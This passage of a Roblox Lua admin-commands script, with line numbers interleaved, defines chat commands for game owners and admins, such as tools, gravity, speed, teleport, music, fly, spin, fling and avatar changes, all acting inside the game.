for a, tool in pairs(game.Lighting:children()) do
1115
if tool:IsA("Tool") or tool:IsA("HopperBin") then
1116
if msg:lower():sub(chk1+1) == "all" or tool.Name:lower():find(msg:lower():sub(chk1+1)) == 1 then tool:Clone().Parent = v.Backpack end
1117
end
1118
end
1119
end
1120
end))
1121
end
1122
end
1123
 
1124
if msg:lower():sub(1,12) == "removetools " then
1125
local plrz = GetPlr(plr, msg:lower():sub(13))
1126
for i, v in pairs(plrz) do
1127
coroutine.resume(coroutine.create(function()
1128
if v and v.Character and v:findFirstChild("Backpack") then
1129
for a, tool in pairs(v.Character:children()) do if tool:IsA("Tool") or tool:IsA("HopperBin") then tool:Destroy() end end
1130
for a, tool in pairs(v.Backpack:children()) do if tool:IsA("Tool") or tool:IsA("HopperBin") then tool:Destroy() end end
1131
end
1132
end))
1133
end
1134
end
1135
 
1136
if msg:lower():sub(1,5) == "rank " then
1137
local chk1 = msg:lower():sub(6):find(" ") + 5
1138
local plrz = GetPlr(plr, msg:lower():sub(6,chk1-1))
1139
for i, v in pairs(plrz) do
1140
coroutine.resume(coroutine.create(function()
1141
if v and v:IsInGroup(msg:sub(chk1+1)) then
1142
Hint("[" .. v:GetRankInGroup(msg:sub(chk1+1)) .. "] " .. v:GetRoleInGroup(msg:sub(chk1+1)), {plr})
1143
elseif v and not v:IsInGroup(msg:sub(chk1+1))then
1144
Hint(v.Name .. " is not in the group " .. msg:sub(chk1+1), {plr})
1145
end
1146
end))
1147
end
1148
end
1149
 
1150
if msg:lower():sub(1,7) == "damage " then
1151
local chk1 = msg:lower():sub(8):find(" ") + 7
1152
local plrz = GetPlr(plr, msg:lower():sub(8,chk1-1))
1153
for i, v in pairs(plrz) do
1154
coroutine.resume(coroutine.create(function()
1155
if v and v.Character and v.Character:findFirstChild("Humanoid") then
1156
v.Character.Humanoid:TakeDamage(msg:sub(chk1+1))
1157
end
1158
end))
1159
end
1160
end
1161
 
1162
if msg:lower():sub(1,5) == "grav " then
1163
local plrz = GetPlr(plr, msg:lower():sub(6))
1164
for i, v in pairs(plrz) do
1165
coroutine.resume(coroutine.create(function()
1166
if v and v.Character and v.Character:findFirstChild("Torso") then
1167
for a, frc in pairs(v.Character.Torso:children()) do if frc.Name == "BFRC" then frc:Destroy() end end
1168
end
1169
end))
1170
end
1171
end
1172
 
1173
if msg:lower():sub(1,8) == "setgrav " then
1174
local chk1 = msg:lower():sub(9):find(" ") + 8
1175
local plrz = GetPlr(plr, msg:lower():sub(9,chk1-1))
1176
for i, v in pairs(plrz) do
1177
coroutine.resume(coroutine.create(function()
1178
if v and v.Character and v.Character:findFirstChild("Torso") then
1179
for a, frc in pairs(v.Character.Torso:children()) do if frc.Name == "BFRC" then frc:Destroy() end end
1180
local frc = Instance.new("BodyForce", v.Character.Torso) frc.Name = "BFRC" frc.force = Vector3.new(0,0,0)
1181
for a, prt in pairs(v.Character:children()) do if prt:IsA("BasePart") then frc.force = frc.force - Vector3.new(0,prt:GetMass()*msg:sub(chk1+1),0) elseif prt:IsA("Hat") then frc.force = frc.force - Vector3.new(0,prt.Handle:GetMass()*msg:sub(chk1+1),0) end end
1182
end
1183
end))
1184
end
1185
end
1186
 
1187
if msg:lower():sub(1,7) == "nograv " then
1188
local plrz = GetPlr(plr, msg:lower():sub(8))
1189
for i, v in pairs(plrz) do
1190
coroutine.resume(coroutine.create(function()
1191
if v and v.Character and v.Character:findFirstChild("Torso") then
1192
for a, frc in pairs(v.Character.Torso:children()) do if frc.Name == "BFRC" then frc:Destroy() end end
1193
local frc = Instance.new("BodyForce", v.Character.Torso) frc.Name = "BFRC" frc.force = Vector3.new(0,0,0)
1194
for a, prt in pairs(v.Character:children()) do if prt:IsA("BasePart") then frc.force = frc.force + Vector3.new(0,prt:GetMass()*196.25,0) elseif prt:IsA("Hat") then frc.force = frc.force + Vector3.new(0,prt.Handle:GetMass()*196.25,0) end end
1195
end
1196
end))
1197
end
1198
end
1199
 
1200
if msg:lower():sub(1,7) == "health " then
1201
local chk1 = msg:lower():sub(8):find(" ") + 7
1202
local plrz = GetPlr(plr, msg:lower():sub(8,chk1-1))
1203
for i, v in pairs(plrz) do
1204
coroutine.resume(coroutine.create(function()
1205
if v and v.Character and v.Character:findFirstChild("Humanoid") then
1206
v.Character.Humanoid.MaxHealth = msg:sub(chk1+1)
1207
v.Character.Humanoid.Health = v.Character.Humanoid.MaxHealth
1208
end
1209
end))
1210
end
1211
end
1212
 
1213
if msg:lower():sub(1,6) == "speed " then
1214
local chk1 = msg:lower():sub(7):find(" ") + 6
1215
local plrz = GetPlr(plr, msg:lower():sub(7,chk1-1))
1216
for i, v in pairs(plrz) do
1217
coroutine.resume(coroutine.create(function()
1218
if v and v.Character and v.Character:findFirstChild("Humanoid") then
1219
v.Character.Humanoid.WalkSpeed = msg:sub(chk1+1)
1220
end
1221
end))
1222
end
1223
end
1224
 
1225
if msg:lower():sub(1,5) == "team " then
1226
local chk1 = msg:lower():sub(6):find(" ") + 5
1227
local plrz = GetPlr(plr, msg:lower():sub(6,chk1-1))
1228
for i, v in pairs(plrz) do
1229
coroutine.resume(coroutine.create(function()
1230
if v and game:findFirstChild("Teams") then
1231
for a, tm in pairs(game.Teams:children()) do
1232
if tm.Name:lower():find(msg:lower():sub(chk1+1)) == 1 then v.TeamColor = tm.TeamColor end
1233
end
1234
end
1235
end))
1236
end
1237
end
1238
 
1239
if msg:lower():sub(1,6) == "place " then
1240
local chk1 = msg:lower():sub(7):find(" ") + 6
1241
local plrz = GetPlr(plr, msg:lower():sub(7,chk1-1))
1242
for i, v in pairs(plrz) do
1243
coroutine.resume(coroutine.create(function()
1244
if v and v:findFirstChild("PlayerGui") then
1245
local cl = script.LocalScriptBase:Clone() cl.Code.Value = [[game:service("TeleportService"):Teleport(]] .. msg:sub(chk1+1) .. ")" cl.Parent = v.PlayerGui cl.Disabled = false
1246
end
1247
end))
1248
end
1249
end
1250
 
1251
if msg:lower():sub(1,3) == "tp " then
1252
local chk1 = msg:lower():sub(4):find(" ") + 3
1253
local plrz = GetPlr(plr, msg:lower():sub(4,chk1-1))
1254
local plrz2 = GetPlr(plr, msg:lower():sub(chk1+1))
1255
for i, v in pairs(plrz) do
1256
coroutine.resume(coroutine.create(function()
1257
for i2, v2 in pairs(plrz2) do
1258
if v and v2 and v.Character and v2.Character and v.Character:findFirstChild("Torso") and v2.Character:findFirstChild("Torso") then
1259
v.Character.Torso.CFrame = v2.Character.Torso.CFrame + Vector3.new(math.random(-1,1),0,math.random(-1,1))
1260
end
1261
end
1262
end))
1263
end
1264
end
1265
 
1266
if msg:lower():sub(1,7) == "change " then
1267
local chk1 = msg:lower():sub(8):find(" ") + 7
1268
local chk2 = msg:sub(chk1+1):find(" ") + chk1
1269
local plrz = GetPlr(plr, msg:lower():sub(8,chk1-1))
1270
for i, v in pairs(plrz) do
1271
coroutine.resume(coroutine.create(function()
1272
if v and v:findFirstChild("leaderstats") then
1273
for a, st in pairs(v.leaderstats:children()) do
1274
if st.Name:lower():find(msg:sub(chk1+1,chk2-1)) == 1 then st.Value = msg:sub(chk2+1) end
1275
end
1276
end
1277
end))
1278
end
1279
end
1280
 
1281
if msg:lower():sub(1,6) == "shirt " then
1282
local chk1 = msg:lower():sub(7):find(" ") + 6
1283
local plrz = GetPlr(plr, msg:lower():sub(7,chk1-1))
1284
for i, v in pairs(plrz) do
1285
coroutine.resume(coroutine.create(function()
1286
if v and v.Character then
1287
for i,v in pairs(v.Character:children()) do
1288
if v:IsA("Shirt") then local cl = v:Clone() cl.Parent = v.Parent cl.ShirtTemplate = "http://www.roblox.com/asset/?id=" .. chk1 v:Destroy() end
1289
end
1290
end
1291
end))
1292
end
1293
end
1294
 
1295
if msg:lower():sub(1,6) == "pants " then
1296
local chk1 = msg:lower():sub(7):find(" ") + 6
1297
local plrz = GetPlr(plr, msg:lower():sub(7,chk1-1))
1298
for i, v in pairs(plrz) do
1299
coroutine.resume(coroutine.create(function()
1300
if v and v.Character then
1301
for i,v in pairs(v.Character:children()) do
1302
if v:IsA("Pants") then local cl = v:Clone() cl.Parent = v.Parent cl.PantsTemplate = "http://www.roblox.com/asset/?id=" .. chk1 v:Destroy() end
1303
end
1304
end
1305
end))
1306
end
1307
end
1308
 
1309
if msg:lower():sub(1,5) == "face " then
1310
local chk1 = msg:lower():sub(6):find(" ") + 5
1311
local plrz = GetPlr(plr, msg:lower():sub(6,chk1-1))
1312
for i, v in pairs(plrz) do
1313
coroutine.resume(coroutine.create(function()
1314
if v and v.Character and v.Character:findFirstChild("Head") and v.Character.Head:findFirstChild("face") then
1315
v.Character.Head:findFirstChild("face").Texture = "http://www.roblox.com/asset/?id=" .. chk1
1316
end
1317
end))
1318
end
1319
end
1320
 
1321
------------------
1322
-- Fun Commands --
1323
------------------
1324
if FunCommands or plr.userId == game.CreatorId or ChkOwner(plr.Name:lower()) then
1325
       
1326
if msg:lower():sub(1,8) == "swagify " then
1327
local plrz = GetPlr(plr, msg:lower():sub(9))
1328
for i, v in pairs(plrz) do
1329
coroutine.resume(coroutine.create(function()
1330
if v and v.Character then
1331
for i,v in pairs(v.Character:children()) do
1332
if v.Name == "Shirt" then local cl = v:Clone() cl.Parent = v.Parent cl.ShirtTemplate = "http://www.roblox.com/asset/?id=109163376" v:Destroy() end
1333
if v.Name == "Pants" then local cl = v:Clone() cl.Parent = v.Parent cl.PantsTemplate = "http://www.roblox.com/asset/?id=109163376" v:Destroy() end
1334
end
1335
for a,cp in pairs(v.Character:children()) do if cp.Name == "EpicCape" then cp:Destroy() end end
1336
local cl = script.LocalScriptBase:Clone() cl.Name = "CapeScript" cl.Code.Value = [[local plr = game.Players.LocalPlayer
1337
repeat wait() until plr and plr.Character and plr.Character:findFirstChild("Torso")
1338
local torso = plr.Character.Torso
1339
local p = Instance.new("Part", torso.Parent) p.Name = "EpicCape" p.Anchored = false
1340
p.CanCollide = false p.TopSurface = 0 p.BottomSurface = 0 p.BrickColor = BrickColor.new("Pink") local dec = Instance.new("Decal", p) dec.Face = 2 dec.Texture = "http://www.roblox.com/asset/?id=109301474" p.formFactor = "Custom"
1341
p.Size = Vector3.new(.2,.2,.2)
1342
local msh = Instance.new("BlockMesh", p) msh.Scale = Vector3.new(9,17.5,.5)
1343
local motor1 = Instance.new("Motor", p)
1344
motor1.Part0 = p
1345
motor1.Part1 = torso
1346
motor1.MaxVelocity = .01
1347
motor1.C0 = CFrame.new(0,1.75,0)*CFrame.Angles(0,math.rad(90),0)
1348
motor1.C1 = CFrame.new(0,1,.45)*CFrame.Angles(0,math.rad(90),0)
1349
local wave = false
1350
repeat wait(1/44)
1351
local ang = 0.1
1352
local oldmag = torso.Velocity.magnitude
1353
local mv = .002
1354
if wave then ang = ang + ((torso.Velocity.magnitude/10)*.05)+.05 wave = false else wave = true end
1355
ang = ang + math.min(torso.Velocity.magnitude/11, .5)
1356
motor1.MaxVelocity = math.min((torso.Velocity.magnitude/111), .04) + mv
1357
motor1.DesiredAngle = -ang
1358
if motor1.CurrentAngle < -.2 and motor1.DesiredAngle > -.2 then motor1.MaxVelocity = .04 end
1359
repeat wait() until motor1.CurrentAngle == motor1.DesiredAngle or math.abs(torso.Velocity.magnitude - oldmag)  >= (torso.Velocity.magnitude/10) + 1
1360
if torso.Velocity.magnitude < .1 then wait(.1) end
1361
until not p or p.Parent ~= torso.Parent
1362
script:Destroy()
1363
]] cl.Parent = v.PlayerGui cl.Disabled = false
1364
end
1365
end))
1366
end
1367
end
1368
 
1369
if msg:lower():sub(1,6) == "music " then
1370
for i, v in pairs(game.Workspace:children()) do if v:IsA("Sound") then v:Destroy() end end
1371
local id = msg:sub(7)
1372
local pitch = 1
1373
if tostring(id):lower():find("caramell") then id = 2303479 end
1374
if tostring(id):find("epic") then id = 27697743 pitch = 2.5 end
1375
if tostring(id):find("rick") then id = 2027611 end
1376
if tostring(id):find("halo") then id = 1034065  end
1377
if tostring(id):find("pokemon") then id = 1372261 end
1378
if tostring(id):find("cursed") then id = 1372257 end
1379
if tostring(id):find("extreme") then id = 11420933 end
1380
if tostring(id):find("awaken") then id = 27697277 end
1381
if tostring(id):find("alone") then id = 27697392 end
1382
if tostring(id):find("mario") then id = 1280470 end
1383
if tostring(id):find("choir") then id = 1372258 end
1384
if tostring(id):find("chrono") then id = 1280463 end
1385
if tostring(id):find("dotr") then id = 11420922 end
1386
if tostring(id):find("entertain") then id = 27697267 end
1387
if tostring(id):find("fantasy") then id = 1280473 end
1388
if tostring(id):find("final") then id = 1280414 end
1389
if tostring(id):find("emblem") then id = 1372259 end
1390
if tostring(id):find("flight") then id = 27697719 end
1391
if tostring(id):find("banjo") then id = 27697298 end
1392
if tostring(id):find("gothic") then id = 27697743 end
1393
if tostring(id):find("hiphop") then id = 27697735 end
1394
if tostring(id):find("intro") then id = 27697707 end
1395
if tostring(id):find("mule") then id = 1077604 end
1396
if tostring(id):find("film") then id = 27697713 end
1397
if tostring(id):find("nezz") then id = 8610025 end
1398
if tostring(id):find("angel") then id = 1372260 end
1399
if tostring(id):find("resist") then id = 27697234 end
1400
if tostring(id):find("schala") then id = 5985787 end
1401
if tostring(id):find("organ") then id = 11231513 end
1402
if tostring(id):find("tunnel") then id = 9650822 end
1403
if tostring(id):find("spanish") then id = 5982975 end
1404
if tostring(id):find("venom") then id = 1372262 end
1405
if tostring(id):find("wind") then id = 1015394 end
1406
if tostring(id):find("guitar") then id = 5986151 end
1407
local s = Instance.new("Sound", game.Workspace) s.SoundId = "http://www.roblox.com/asset/?id=" .. id s.Volume = 1 s.Pitch = pitch s.Looped = true s.archivable = false repeat s:Play() wait(2.5) s:Stop() wait(.5) s:Play() until s.IsPlaying
1408
end
1409
 
1410
if msg:lower() == "stopmusic" then
1411
for i, v in pairs(game.Workspace:children()) do if v:IsA("Sound") then v:Destroy() end end
1412
end
1413
 
1414
if msg:lower() == "musiclist" then
1415
if plr.PlayerGui:findFirstChild("MUSICGUI") then return end
1416
local scr, cmf, ent, num = ScrollGui() scr.Name = "MUSICGUI" scr.Parent = plr.PlayerGui
1417
local list = {"caramell","epic","rick","halo","pokemon","cursed","extreme","awaken","alone","mario","choir","chrono","dotr","entertain","fantasy","final","emblem","flight","banjo","gothic","hiphop","intro","mule","film","nezz","angel","resist","schala","organ","tunnel","spanish","venom","wind","guitar"}
1418
for i, v in pairs(list) do local cl = ent:Clone() cl.Parent = cmf cl.Text = v cl.Position = UDim2.new(0,0,0,num*20) num = num +1 end
1419
end
1420
 
1421
if msg:lower():sub(1,4) == "fly " then
1422
local plrz = GetPlr(plr, msg:lower():sub(5))
1423
for i, v in pairs(plrz) do
1424
coroutine.resume(coroutine.create(function()
1425
if v and v:findFirstChild("PlayerGui") then
1426
local cl = script.LocalScriptBase:Clone() cl.Name = "FlyScript" cl.Code.Value = [[repeat wait() until game.Players.LocalPlayer and game.Players.LocalPlayer.Character and game.Players.LocalPlayer.Character:findFirstChild("Torso") and game.Players.LocalPlayer.Character:findFirstChild("Humanoid") local mouse = game.Players.LocalPlayer:GetMouse() repeat wait() until mouse ~= nil local plr = game.Players.LocalPlayer local torso = plr.Character.Torso local flying = false local deb = true local ctrl = {f = 0, b = 0, l = 0, r = 0} local lastctrl = {f = 0, b = 0, l = 0, r = 0} local maxspeed = 50 local speed = 0 function Fly() local bg = Instance.new("BodyGyro", torso) bg.P = 9e4 bg.maxTorque = Vector3.new(9e9, 9e9, 9e9) bg.cframe = torso.CFrame local bv = Instance.new("BodyVelocity", torso) bv.velocity = Vector3.new(0,0.1,0) bv.maxForce = Vector3.new(9e9, 9e9, 9e9) repeat wait() plr.Character.Humanoid.PlatformStand = true if ctrl.l + ctrl.r ~= 0 or ctrl.f + ctrl.b ~= 0 then speed = speed+.5+(speed/maxspeed) if speed > maxspeed then speed = maxspeed end elseif not (ctrl.l + ctrl.r ~= 0 or ctrl.f + ctrl.b ~= 0) and speed ~= 0 then speed = speed-1 if speed < 0 then speed = 0 end end if (ctrl.l + ctrl.r) ~= 0 or (ctrl.f + ctrl.b) ~= 0 then bv.velocity = ((game.Workspace.CurrentCamera.CoordinateFrame.lookVector * (ctrl.f+ctrl.b)) + ((game.Workspace.CurrentCamera.CoordinateFrame * CFrame.new(ctrl.l+ctrl.r,(ctrl.f+ctrl.b)*.2,0).p) - game.Workspace.CurrentCamera.CoordinateFrame.p))*speed lastctrl = {f = ctrl.f, b = ctrl.b, l = ctrl.l, r = ctrl.r} elseif (ctrl.l + ctrl.r) == 0 and (ctrl.f + ctrl.b) == 0 and speed ~= 0 then bv.velocity = ((game.Workspace.CurrentCamera.CoordinateFrame.lookVector * (lastctrl.f+lastctrl.b)) + ((game.Workspace.CurrentCamera.CoordinateFrame * CFrame.new(lastctrl.l+lastctrl.r,(lastctrl.f+lastctrl.b)*.2,0).p) - game.Workspace.CurrentCamera.CoordinateFrame.p))*speed else bv.velocity = Vector3.new(0,0.1,0) end bg.cframe = game.Workspace.CurrentCamera.CoordinateFrame * CFrame.Angles(-math.rad((ctrl.f+ctrl.b)*50*speed/maxspeed),0,0) until not flying ctrl = {f = 0, b = 0, l = 0, r = 0} lastctrl = {f = 0, b = 0, l = 0, r = 0} speed = 0 bg:Destroy() bv:Destroy() plr.Character.Humanoid.PlatformStand = false end mouse.KeyDown:connect(function(key) if key:lower() == "e" then if flying then flying = false else flying = true Fly() end elseif key:lower() == "w" then ctrl.f = 1 elseif key:lower() == "s" then ctrl.b = -1 elseif key:lower() == "a" then ctrl.l = -1 elseif key:lower() == "d" then ctrl.r = 1 end end) mouse.KeyUp:connect(function(key) if key:lower() == "w" then ctrl.f = 0 elseif key:lower() == "s" then ctrl.b = 0 elseif key:lower() == "a" then ctrl.l = 0 elseif key:lower() == "d" then ctrl.r = 0 end end)]]
1427
cl.Parent = v.PlayerGui cl.Disabled = false
1428
end
1429
end))
1430
end
1431
end
1432
 
1433
if msg:lower():sub(1,6) == "unfly " then
1434
local plrz = GetPlr(plr, msg:lower():sub(7))
1435
for i, v in pairs(plrz) do
1436
coroutine.resume(coroutine.create(function()
1437
if v and v:findFirstChild("PlayerGui") and v.Character and v.Character:findFirstChild("Torso") and v.Character:findFirstChild("Humanoid") then
1438
for a, q in pairs(v.PlayerGui:children()) do if q.Name == "FlyScript" then q:Destroy() end end
1439
for a, q in pairs(v.Character.Torso:children()) do if q.Name == "BodyGyro" or q.Name == "BodyVelocity" then q:Destroy() end end
1440
wait(.1) v.Character.Humanoid.PlatformStand = false
1441
end
1442
end))
1443
end
1444
end
1445
 
1446
if msg:lower() == "disco" then
1447
for i, v in pairs(lobjs) do v:Destroy() end
1448
local cl = script.ScriptBase:Clone() cl.Name = "LightEdit" cl.Code.Value = [[repeat wait(.1) local color = Color3.new(math.random(255)/255,math.random(255)/255,math.random(255)/255)
1449
game.Lighting.Ambient = color
1450
game.Lighting.FogColor = color
1451
until nil]]
1452
table.insert(lobjs, cl) cl.Parent = game.Workspace cl.Disabled = false
1453
end
1454
 
1455
if msg:lower() == "flash" then
1456
for i, v in pairs(lobjs) do v:Destroy() end
1457
local cl = script.ScriptBase:Clone() cl.Name = "LightEdit" cl.Code.Value = [[repeat wait(.1)
1458
game.Lighting.Ambient = Color3.new(1,1,1)
1459
game.Lighting.FogColor = Color3.new(1,1,1)
1460
game.Lighting.Brightness = 1
1461
game.Lighting.TimeOfDay = 14
1462
wait(.1)
1463
game.Lighting.Ambient = Color3.new(0,0,0)
1464
game.Lighting.FogColor = Color3.new(0,0,0)
1465
game.Lighting.Brightness = 0
1466
game.Lighting.TimeOfDay = 0
1467
until nil]]
1468
table.insert(lobjs, cl) cl.Parent = game.Workspace cl.Disabled = false
1469
end
1470
 
1471
if msg:lower():sub(1,5) == "spin " then
1472
local plrz = GetPlr(plr, msg:lower():sub(6))
1473
for i, v in pairs(plrz) do
1474
coroutine.resume(coroutine.create(function()
1475
if v and v.Character and v.Character:findFirstChild("Torso") then
1476
for i,v in pairs(v.Character.Torso:children()) do if v.Name == "SPINNER" then v:Destroy() end end
1477
local torso = v.Character:findFirstChild("Torso")
1478
local bg = Instance.new("BodyGyro", torso) bg.Name = "SPINNER" bg.maxTorque = Vector3.new(0,math.huge,0) bg.P = 11111 bg.cframe = torso.CFrame table.insert(objects,bg)
1479
repeat wait(1/44) bg.cframe = bg.cframe * CFrame.Angles(0,math.rad(30),0)
1480
until not bg or bg.Parent ~= torso
1481
end
1482
end))
1483
end
1484
end
1485
 
1486
if msg:lower():sub(1,7) == "unspin " then
1487
local plrz = GetPlr(plr, msg:lower():sub(8))
1488
for i, v in pairs(plrz) do
1489
coroutine.resume(coroutine.create(function()
1490
if v and v.Character and v.Character:findFirstChild("Torso") then
1491
for a,q in pairs(v.Character.Torso:children()) do if q.Name == "SPINNER" then q:Destroy() end end
1492
end
1493
end))
1494
end
1495
end
1496
 
1497
if msg:lower():sub(1,4) == "dog " then
1498
local plrz = GetPlr(plr, msg:lower():sub(5))
1499
for i, v in pairs(plrz) do
1500
coroutine.resume(coroutine.create(function()
1501
if v and v.Character and v.Character:findFirstChild("Torso") then
1502
if v.Character:findFirstChild("Shirt") then v.Character.Shirt.Parent = v.Character.Torso end
1503
if v.Character:findFirstChild("Pants") then v.Character.Pants.Parent = v.Character.Torso end
1504
v.Character.Torso.Transparency = 1
1505
v.Character.Torso.Neck.C0 = CFrame.new(0,-.5,-2) * CFrame.Angles(math.rad(90),math.rad(180),0)
1506
v.Character.Torso["Right Shoulder"].C0 = CFrame.new(.5,-1.5,-1.5) * CFrame.Angles(0,math.rad(90),0)
1507
v.Character.Torso["Left Shoulder"].C0 = CFrame.new(-.5,-1.5,-1.5) * CFrame.Angles(0,math.rad(-90),0)
1508
v.Character.Torso["Right Hip"].C0 = CFrame.new(1.5,-1,1.5) * CFrame.Angles(0,math.rad(90),0)
1509
v.Character.Torso["Left Hip"].C0 = CFrame.new(-1.5,-1,1.5) * CFrame.Angles(0,math.rad(-90),0)
1510
local new = Instance.new("Seat", v.Character) new.Name = "FAKETORSO" new.formFactor = "Symmetric" new.TopSurface = 0 new.BottomSurface = 0 new.Size = Vector3.new(3,1,4) new.CFrame = v.Character.Torso.CFrame
1511
local bf = Instance.new("BodyForce", new) bf.force = Vector3.new(0,new:GetMass()*196.25,0)
1512
local weld = Instance.new("Weld", v.Character.Torso) weld.Part0 = v.Character.Torso weld.Part1 = new weld.C0 = CFrame.new(0,-.5,0)
1513
for a, part in pairs(v.Character:children()) do if part:IsA("BasePart") then part.BrickColor = BrickColor.new("Brown") elseif part:findFirstChild("NameTag") then part.Head.BrickColor = BrickColor.new("Brown") end end
1514
end
1515
end))
1516
end
1517
end
1518
 
1519
if msg:lower():sub(1,6) == "undog " then
1520
local plrz = GetPlr(plr, msg:lower():sub(7))
1521
for i, v in pairs(plrz) do
1522
coroutine.resume(coroutine.create(function()
1523
if v and v.Character and v.Character:findFirstChild("Torso") then
1524
if v.Character.Torso:findFirstChild("Shirt") then v.Character.Torso.Shirt.Parent = v.Character end
1525
if v.Character.Torso:findFirstChild("Pants") then v.Character.Torso.Pants.Parent = v.Character end
1526
v.Character.Torso.Transparency = 0
1527
v.Character.Torso.Neck.C0 = CFrame.new(0,1,0) * CFrame.Angles(math.rad(90),math.rad(180),0)
1528
v.Character.Torso["Right Shoulder"].C0 = CFrame.new(1,.5,0) * CFrame.Angles(0,math.rad(90),0)
1529
v.Character.Torso["Left Shoulder"].C0 = CFrame.new(-1,.5,0) * CFrame.Angles(0,math.rad(-90),0)
1530
v.Character.Torso["Right Hip"].C0 = CFrame.new(1,-1,0) * CFrame.Angles(0,math.rad(90),0)
1531
v.Character.Torso["Left Hip"].C0 = CFrame.new(-1,-1,0) * CFrame.Angles(0,math.rad(-90),0)
1532
for a, part in pairs(v.Character:children()) do if part:IsA("BasePart") then part.BrickColor = BrickColor.new("White") if part.Name == "FAKETORSO" then part:Destroy() end elseif part:findFirstChild("NameTag") then part.Head.BrickColor = BrickColor.new("White") end end
1533
end
1534
end))
1535
end
1536
end
1537
 
1538
if msg:lower():sub(1,8) == "creeper " then
1539
local plrz = GetPlr(plr, msg:lower():sub(9))
1540
for i, v in pairs(plrz) do
1541
coroutine.resume(coroutine.create(function()
1542
if v and v.Character and v.Character:findFirstChild("Torso") then
1543
if v.Character:findFirstChild("Shirt") then v.Character.Shirt.Parent = v.Character.Torso end
1544
if v.Character:findFirstChild("Pants") then v.Character.Pants.Parent = v.Character.Torso end
1545
v.Character.Torso.Transparency = 0
1546
v.Character.Torso.Neck.C0 = CFrame.new(0,1,0) * CFrame.Angles(math.rad(90),math.rad(180),0)
1547
v.Character.Torso["Right Shoulder"].C0 = CFrame.new(0,-1.5,-.5) * CFrame.Angles(0,math.rad(90),0)
1548
v.Character.Torso["Left Shoulder"].C0 = CFrame.new(0,-1.5,-.5) * CFrame.Angles(0,math.rad(-90),0)
1549
v.Character.Torso["Right Hip"].C0 = CFrame.new(0,-1,.5) * CFrame.Angles(0,math.rad(90),0)
1550
v.Character.Torso["Left Hip"].C0 = CFrame.new(0,-1,.5) * CFrame.Angles(0,math.rad(-90),0)
1551
for a, part in pairs(v.Character:children()) do if part:IsA("BasePart") then part.BrickColor = BrickColor.new("Bright green") if part.Name == "FAKETORSO" then part:Destroy() end elseif part:findFirstChild("NameTag") then part.Head.BrickColor = BrickColor.new("Bright green") end end
1552
end
1553
end))
1554
end
1555
end
1556
 
1557
if msg:lower():sub(1,10) == "uncreeper " then
1558
local plrz = GetPlr(plr, msg:lower():sub(11))
1559
for i, v in pairs(plrz) do
1560
coroutine.resume(coroutine.create(function()
1561
if v and v.Character and v.Character:findFirstChild("Torso") then
1562
if v.Character.Torso:findFirstChild("Shirt") then v.Character.Torso.Shirt.Parent = v.Character end
1563
if v.Character.Torso:findFirstChild("Pants") then v.Character.Torso.Pants.Parent = v.Character end
1564
v.Character.Torso.Transparency = 0
1565
v.Character.Torso.Neck.C0 = CFrame.new(0,1,0) * CFrame.Angles(math.rad(90),math.rad(180),0)
1566
v.Character.Torso["Right Shoulder"].C0 = CFrame.new(1,.5,0) * CFrame.Angles(0,math.rad(90),0)
1567
v.Character.Torso["Left Shoulder"].C0 = CFrame.new(-1,.5,0) * CFrame.Angles(0,math.rad(-90),0)
1568
v.Character.Torso["Right Hip"].C0 = CFrame.new(1,-1,0) * CFrame.Angles(0,math.rad(90),0)
1569
v.Character.Torso["Left Hip"].C0 = CFrame.new(-1,-1,0) * CFrame.Angles(0,math.rad(-90),0)
1570
for a, part in pairs(v.Character:children()) do if part:IsA("BasePart") then part.BrickColor = BrickColor.new("White") if part.Name == "FAKETORSO" then part:Destroy() end elseif part:findFirstChild("NameTag") then part.Head.BrickColor = BrickColor.new("White") end end
1571
end
1572
end))
1573
end
1574
end
1575
 
1576
if msg:lower():sub(1,8) == "bighead " then
1577
local plrz = GetPlr(plr, msg:lower():sub(9))
1578
for i, v in pairs(plrz) do
1579
coroutine.resume(coroutine.create(function()
1580
if v and v.Character then v.Character.Head.Mesh.Scale = Vector3.new(3,3,3) v.Character.Torso.Neck.C0 = CFrame.new(0,1.9,0) * CFrame.Angles(math.rad(90),math.rad(180),0) end
1581
end))
1582
end
1583
end
1584
 
1585
if msg:lower():sub(1,9) == "minihead " then
1586
local plrz = GetPlr(plr, msg:lower():sub(10))
1587
for i, v in pairs(plrz) do
1588
coroutine.resume(coroutine.create(function()
1589
if v and v.Character then v.Character.Head.Mesh.Scale = Vector3.new(.75,.75,.75) v.Character.Torso.Neck.C0 = CFrame.new(0,.8,0) * CFrame.Angles(math.rad(90),math.rad(180),0) end
1590
end))
1591
end
1592
end
1593
 
1594
if msg:lower():sub(1,6) == "fling " then
1595
local plrz = GetPlr(plr, msg:lower():sub(7))
1596
for i, v in pairs(plrz) do
1597
coroutine.resume(coroutine.create(function()
1598
if v and v.Character and v.Character:findFirstChild("Torso") and v.Character:findFirstChild("Humanoid") then
1599
local xran local zran
1600
repeat xran = math.random(-9999,9999) until math.abs(xran) >= 5555
1601
repeat zran = math.random(-9999,9999) until math.abs(zran) >= 5555
1602
v.Character.Humanoid.Sit = true v.Character.Torso.Velocity = Vector3.new(0,0,0)
1603
local frc = Instance.new("BodyForce", v.Character.Torso) frc.Name = "BFRC" frc.force = Vector3.new(xran*4,9999*5,zran*4) game:service("Debris"):AddItem(frc,.1)
1604
end
1605
end))
1606
end
1607
end
1608
 
1609
if msg:lower():sub(1,8) == "seizure " then
1610
local plrz = GetPlr(plr, msg:lower():sub(9))
1611
for i, v in pairs(plrz) do
1612
coroutine.resume(coroutine.create(function()
1613
if v and v.Character then
1614
v.Character.Torso.CFrame = v.Character.Torso.CFrame * CFrame.Angles(math.rad(90),0,0)
1615
local cl = script.ScriptBase:Clone() cl.Name = "SeizureBase" cl.Code.Value = [[repeat wait() script.Parent.Humanoid.PlatformStand = true script.Parent.Torso.Velocity = Vector3.new(math.random(-10,10),-5,math.random(-10,10)) script.Parent.Torso.RotVelocity = Vector3.new(math.random(-5,5),math.random(-5,5),math.random(-5,5)) until nil]]
1616
table.insert(objects, cl) cl.Parent = v.Character cl.Disabled = false
1617
end
1618
end))
1619
end
1620
end
1621
 
1622
if msg:lower():sub(1,10) == "unseizure " then
1623
local plrz = GetPlr(plr, msg:lower():sub(11))
1624
for i, v in pairs(plrz) do
1625
coroutine.resume(coroutine.create(function()
1626
if v and v.Character then
1627
for i,v in pairs(v.Character:children()) do if v.Name == "SeizureBase" then v:Destroy() end end
1628
wait(.1) v.Character.Humanoid.PlatformStand = false
1629
end
1630
end))
1631
end
1632
end
1633
 
1634
if msg:lower():sub(1,12) == "removelimbs " then
1635
local plrz = GetPlr(plr, msg:lower():sub(13))
1636
for i, v in pairs(plrz) do
1637
coroutine.resume(coroutine.create(function()
1638
